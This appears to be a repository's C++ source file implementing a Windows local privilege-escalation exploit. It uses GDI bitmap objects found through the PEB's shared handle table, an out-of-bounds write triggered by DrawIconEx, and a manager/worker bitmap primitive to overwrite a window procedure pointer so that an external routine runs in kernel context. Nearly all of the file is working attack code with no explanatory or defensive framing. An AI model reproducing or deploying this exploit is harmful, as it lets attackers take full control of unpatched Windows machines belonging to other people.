350 lines
8.9 KiB
C++
350 lines
8.9 KiB
C++
#include <stdio.h>
|
|
#include <windows.h>
|
|
|
|
// Uncomment this line to include debug output
|
|
//#define DEBUGTRACE
|
|
|
|
#ifdef DEBUGTRACE
|
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
|
static void real_dprintf(char *format, ...)
|
|
{
|
|
va_list args;
|
|
char buffer[1024];
|
|
va_start(args, format);
|
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
|
//strcat_s(buffer, sizeof(buffer), "\r\n");
|
|
OutputDebugStringA(buffer);
|
|
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
|
|
// one should always call va_end in the same function one calls va_start.
|
|
}
|
|
#else
|
|
#define dprintf(...)
|
|
#endif
|
|
|
|
|
|
extern "C" NTSTATUS WndProc_fake(DWORD hWnd, DWORD msg, DWORD wParam, DWORD lParam);
|
|
|
|
typedef struct _HANDLEENTRY {
|
|
PVOID phead;
|
|
PVOID pOwner;
|
|
BYTE bType;
|
|
BYTE bFlags;
|
|
WORD wUniq;
|
|
} HANDLEENTRY, *PHANDLEENTRY;
|
|
|
|
typedef struct _SERVERINFO {
|
|
WORD wRIPFlags;
|
|
WORD wSRVIFlags;
|
|
WORD wRIPPID;
|
|
WORD wRIPError;
|
|
ULONG cHandleEntries;
|
|
} SERVERINFO, *PSERVERINFO;
|
|
|
|
typedef struct _SHAREDINFO {
|
|
PSERVERINFO psi;
|
|
PHANDLEENTRY aheList;
|
|
ULONG HeEntrySize;
|
|
} SHAREDINFO, *PSHAREDINFO;
|
|
|
|
|
|
typedef struct _LARGE_STRING {
|
|
ULONG Length;
|
|
ULONG MaximumLength : 31;
|
|
ULONG bAnsi : 1;
|
|
PVOID Buffer;
|
|
} LARGE_STRING, *PLARGE_STRING;
|
|
|
|
typedef struct _PEB
|
|
{
|
|
BOOLEAN InheritedAddressSpace;
|
|
BOOLEAN ReadImageFileExecOptions;
|
|
BOOLEAN BeingDebugged;
|
|
union
|
|
{
|
|
BOOLEAN BitField;
|
|
struct
|
|
{
|
|
BOOLEAN ImageUsesLargePages : 1;
|
|
BOOLEAN IsProtectedProcess : 1;
|
|
BOOLEAN IsLegacyProcess : 1;
|
|
BOOLEAN IsImageDynamicallyRelocated : 1;
|
|
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
|
BOOLEAN SpareBits : 3;
|
|
};
|
|
};
|
|
HANDLE Mutant;
|
|
|
|
PVOID ImageBaseAddress;
|
|
PVOID Ldr;
|
|
PVOID ProcessParameters;
|
|
PVOID SubSystemData;
|
|
PVOID ProcessHeap;
|
|
PRTL_CRITICAL_SECTION FastPebLock;
|
|
PVOID AtlThunkSListPtr;
|
|
PVOID IFEOKey;
|
|
union
|
|
{
|
|
ULONG CrossProcessFlags;
|
|
struct
|
|
{
|
|
ULONG ProcessInJob : 1;
|
|
ULONG ProcessInitializing : 1;
|
|
ULONG ProcessUsingVEH : 1;
|
|
ULONG ProcessUsingVCH : 1;
|
|
ULONG ProcessUsingFTH : 1;
|
|
ULONG ReservedBits0 : 27;
|
|
};
|
|
ULONG EnvironmentUpdateCount;
|
|
};
|
|
union
|
|
{
|
|
PVOID KernelCallbackTable;
|
|
PVOID UserSharedInfoPtr;
|
|
};
|
|
} PEB, *PPEB;
|
|
|
|
typedef struct _CLIENT_ID {
|
|
HANDLE UniqueProcess;
|
|
HANDLE UniqueThread;
|
|
} CLIENT_ID, *PCLIENT_ID;
|
|
|
|
typedef struct _TEB
|
|
{
|
|
NT_TIB NtTib;
|
|
PVOID EnvironmentPointer;
|
|
CLIENT_ID ClientId;
|
|
PVOID ActiveRpcHandle;
|
|
PVOID ThreadLocalStoragePointer;
|
|
PPEB ProcessEnvironmentBlock;
|
|
ULONG LastErrorValue;
|
|
ULONG CountOfOwnedCriticalSections;
|
|
PVOID CsrClientThread;
|
|
PVOID Win32ThreadInfo;
|
|
}TEB, *PTEB;
|
|
|
|
|
|
PBYTE pManagerObj = nullptr;
|
|
PBYTE pWorkerObj = nullptr;
|
|
|
|
HBITMAP hManager = 0;
|
|
HBITMAP hWorker = 0;
|
|
|
|
#ifdef _WIN64
|
|
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
|
|
#else
|
|
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
|
|
#endif
|
|
|
|
lHMValidateHandle pHmValidateHandle = NULL;
|
|
|
|
BYTE pvdata[0x70000];
|
|
|
|
BOOL FindHMValidateHandle() {
|
|
HMODULE hUser32 = LoadLibraryA("user32.dll");
|
|
if (hUser32 == NULL) {
|
|
dprintf("[-] Failed to load user32");
|
|
return FALSE;
|
|
}
|
|
|
|
BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
|
|
if (pIsMenu == NULL) {
|
|
dprintf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n");
|
|
return FALSE;
|
|
}
|
|
unsigned int uiHMValidateHandleOffset = 0;
|
|
for (unsigned int i = 0; i < 0x1000; i++) {
|
|
BYTE* test = pIsMenu + i;
|
|
if (*test == 0xE8) {
|
|
uiHMValidateHandleOffset = i + 1;
|
|
break;
|
|
}
|
|
}
|
|
if (uiHMValidateHandleOffset == 0) {
|
|
dprintf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
|
|
return FALSE;
|
|
}
|
|
|
|
unsigned int addr = *(unsigned int *)((unsigned int)pIsMenu + uiHMValidateHandleOffset);
|
|
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
|
|
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
|
|
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
int exploit(unsigned int xleft_offset, unsigned int oob_offset)
|
|
{
|
|
// Post KB (default)
|
|
unsigned int xleft_off = 0x8c0;
|
|
unsigned int oob_off = 0x240;
|
|
|
|
if (xleft_offset) {
|
|
xleft_off = xleft_offset;
|
|
}
|
|
if (oob_offset) {
|
|
oob_off = oob_offset;
|
|
}
|
|
|
|
dprintf("[+] Starting with offsets xleft = %p, oob = %p\n", xleft_off, oob_off);
|
|
|
|
LoadLibraryA("user32.dll");
|
|
HDC exploit_dc = CreateCompatibleDC(0x0);
|
|
PBYTE pExpBitmapObj = 0;
|
|
HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x51500, 0x100);
|
|
|
|
dprintf("[+] hExploitBit Handle address: %p\n", hExploitBit);
|
|
|
|
PTEB Teb = NtCurrentTeb();
|
|
PPEB Peb = Teb->ProcessEnvironmentBlock;
|
|
if (Peb == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
dprintf("[+] Peb Pointer address : %p\n", Peb);
|
|
PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
|
|
if (GdiSharedHandleTable == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
dprintf("[+] GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);
|
|
|
|
pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));
|
|
|
|
dprintf("[+] dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);
|
|
|
|
PBYTE oob_target =(PBYTE)((DWORD64)pExpBitmapObj & 0xfffffffffff00000) + 0x0000000100000000;
|
|
|
|
dprintf("[+] oob_target address: %p\n", oob_target);
|
|
|
|
HDC alloc_dc = CreateCompatibleDC(0x0);
|
|
|
|
DWORD64 extra_alloc = 0;
|
|
|
|
while (true)
|
|
{
|
|
HBITMAP hBitMap = CreateCompatibleBitmap(alloc_dc, 0x6f000, 0x8);
|
|
|
|
PBYTE pBitMapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hBitMap) & 0xffff));
|
|
|
|
if (pBitMapObj == 0) {
|
|
dprintf("[-] Ran out of memory allocating Bitmaps");
|
|
return 1;
|
|
}
|
|
|
|
if ((pBitMapObj >= oob_target) && (((DWORD64)pBitMapObj & 0x0000000000070000) == 0x70000))
|
|
{
|
|
pManagerObj = pBitMapObj;
|
|
|
|
hManager = hBitMap;
|
|
|
|
dprintf("[+] Find hManager = %p\n", pManagerObj);
|
|
}
|
|
|
|
if (pManagerObj > 0)
|
|
{
|
|
if (extra_alloc == 1)
|
|
{
|
|
pWorkerObj = pBitMapObj;
|
|
hWorker = hBitMap;
|
|
dprintf("[+] Find hWorker = %p\n", pWorkerObj);
|
|
}
|
|
|
|
if (extra_alloc > 1)
|
|
{
|
|
break;
|
|
}
|
|
extra_alloc += 1;
|
|
}
|
|
}
|
|
|
|
dprintf("[+] GetBitMapBits/Reading using oob_target...\n");
|
|
|
|
SelectObject(exploit_dc, hExploitBit);
|
|
|
|
//0xfffffffffebffffc
|
|
dprintf("[*] TriggerExploit\n");
|
|
|
|
DrawIconEx(exploit_dc, xleft_off, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
|
|
|
|
dprintf("[*] Creating ExploitWnd\n");
|
|
|
|
if (!FindHMValidateHandle()) {
|
|
dprintf("[!] Failed to locate HmValidateHandle, exiting\n");
|
|
return 1;
|
|
}
|
|
|
|
WNDCLASSEX wcx = {};
|
|
wcx.cbSize = sizeof(WNDCLASSEX);
|
|
wcx.lpfnWndProc = DefWindowProc;
|
|
wcx.lpszClassName = L"hongye";
|
|
|
|
RegisterClassEx(&wcx);
|
|
|
|
HWND hExploitwnd = CreateWindowExW(0,
|
|
L"#32772",
|
|
NULL,
|
|
WS_MINIMIZE | WS_DISABLED,
|
|
0,
|
|
0,
|
|
0,
|
|
0,
|
|
NULL,
|
|
NULL,
|
|
NULL,
|
|
NULL);
|
|
|
|
if (hExploitwnd == NULL)
|
|
{
|
|
dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
|
|
return -1;
|
|
}
|
|
ULONG_PTR off_tagWND_pself = 0x20;
|
|
char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hExploitwnd, 1);
|
|
ULONG_PTR tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
|
|
|
|
dprintf("[*] tagWND: 0x%p\n", (void*)tagWND);
|
|
|
|
//ULONG cb = 0x6fe18;
|
|
ULONG cb = (ULONG)(pWorkerObj + 0x50 - (pManagerObj + oob_offset));
|
|
|
|
dprintf("[*] cb 0x%p\n", cb);
|
|
|
|
//void* pvbits = //malloc(cb + sizeof(ULONG_PTR));
|
|
void* pvbits = pvdata;
|
|
dprintf("[*] hManager 0x%p\n", hManager);
|
|
dprintf("[*] hWorker 0x%p\n", hWorker);
|
|
|
|
DWORD dwRet = 0;
|
|
dwRet = GetBitmapBits(hManager, cb, pvbits);
|
|
if (!dwRet) {
|
|
dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
|
|
}
|
|
|
|
*(PULONG_PTR)((PBYTE)pvbits + cb) = (ULONG_PTR)tagWND + 0x90;
|
|
dwRet = SetBitmapBits(hManager, cb + sizeof(ULONG_PTR), pvbits);
|
|
if (!dwRet) {
|
|
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
|
|
}
|
|
ULONG_PTR data = (ULONG_PTR)WndProc_fake;
|
|
ULONG_PTR orgdata = 0;
|
|
dwRet = GetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
|
|
if (!dwRet) {
|
|
dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
|
|
}
|
|
dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&data);
|
|
if (!dwRet) {
|
|
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
|
|
}
|
|
SendMessage(hExploitwnd, WM_NULL, NULL, NULL);
|
|
|
|
//Cleanup
|
|
dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
|
|
if (!dwRet) {
|
|
dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
|
|
}
|
|
dprintf("[+] Completed!\n");
|
|
|
|
return 0;
|
|
}
|